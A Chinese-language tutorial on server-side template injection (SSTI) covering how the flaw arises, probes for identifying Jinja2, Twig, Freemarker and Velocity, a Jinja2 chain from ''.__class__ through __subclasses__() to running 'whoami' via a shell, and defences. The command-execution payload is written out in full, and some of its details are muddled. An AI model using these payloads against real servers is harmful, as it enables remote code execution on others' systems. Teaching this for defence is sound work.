服务端模板注入(SSTI)漏洞详解
字数 1166
更新时间 2025-11-10 17:48:02

服务端模板注入(SSTI)漏洞详解

1. 漏洞描述

服务端模板注入(Server-Side Template Injection,SSTI)是一种发生在服务端模板引擎中的代码注入漏洞。攻击者通过向模板中插入恶意代码,使得服务端在渲染模板时执行任意命令,可能导致敏感信息泄露、服务器被控制等严重后果。

核心问题:模板引擎将用户输入直接拼接到模板中,且未对用户输入进行安全过滤或转义,导致用户输入被当作模板代码执行。


2. 模板引擎的工作原理

模板引擎用于将动态数据(如用户信息、文章内容)嵌入静态页面(如HTML)。例如,一个简单的模板语法可能如下:

<h1>Welcome, {{ username }}!</h1>

服务端会将 username 变量的值替换到模板中,生成最终的HTML。
危险场景:如果用户能控制模板内容(如直接输入 {{ 恶意代码 }}),模板引擎可能执行恶意逻辑。


3. SSTI 漏洞的产生条件

  1. 用户输入直接拼接至模板:例如通过URL参数、表单字段等将内容插入模板。
  2. 模板引擎未安全配置:未禁用危险函数或未对用户输入转义。
  3. 模板语法支持函数调用或逻辑执行:如Jinja2、Twig、Freemarker等引擎支持执行表达式或命令。

示例场景

  • 用户注册时,用户名被用于生成个性化页面:
    template = f"Hello, {user_input}!"  # 直接拼接用户输入
    
  • 若用户输入 {{ 7*7 }},模板引擎可能输出 Hello, 49!,表明表达式被执行。

4. 漏洞检测方法

步骤1:识别模板引擎类型

向参数提交特殊语法,观察响应是否执行:

  • Jinja2(Python):输入 {{ 7*7 }},检查是否返回 49
  • Twig(PHP):输入 {{ 7*7 }}{{ self }}
  • Freemarker(Java):输入 ${7*7}

步骤2:验证代码执行能力

尝试执行基本命令或访问内置对象:

  • 输入 {{ ''.__class__ }}(Jinja2)查看返回的类信息。
  • 输入 <% 7*7 %> 测试Java模板引擎(如Velocity)。

5. 漏洞利用步骤(以Jinja2为例)

步骤1:获取内置类对象

{{ ''.__class__ }}  
# 返回 <class 'str'>,说明可访问Python内置类。

步骤2:追溯至危险类(如os)

{{ ''.__class__.__mro__[1].__subclasses__() }}  
# 获取str类的所有子类,寻找可用的模块(如os、subprocess)。

步骤3:执行系统命令

找到包含 os 模块的子类(如 catch_warnings),利用其执行命令:

{{ ''.__class__.__mro__[1].__subclasses__()[40]('whoami', shell=True).communicate() }}  
# 调用subprocess.Popen执行whoami命令。

6. 防御措施

  1. 禁止用户输入直接控制模板内容:将用户输入作为数据传递,而非模板代码。
  2. 使用沙箱环境:限制模板引擎的访问权限(如禁用危险函数)。
  3. 转义用户输入:对用户输入进行HTML转义(但仅对部分攻击有效)。
  4. 白名单过滤:仅允许用户输入特定字符或格式。

7. 总结

SSTI漏洞的危害性高,因其允许直接执行服务端代码。防御关键在于严格分离数据与代码,确保用户输入始终作为数据处理,而非可执行的模板内容。

相似文章
相似文章
 全屏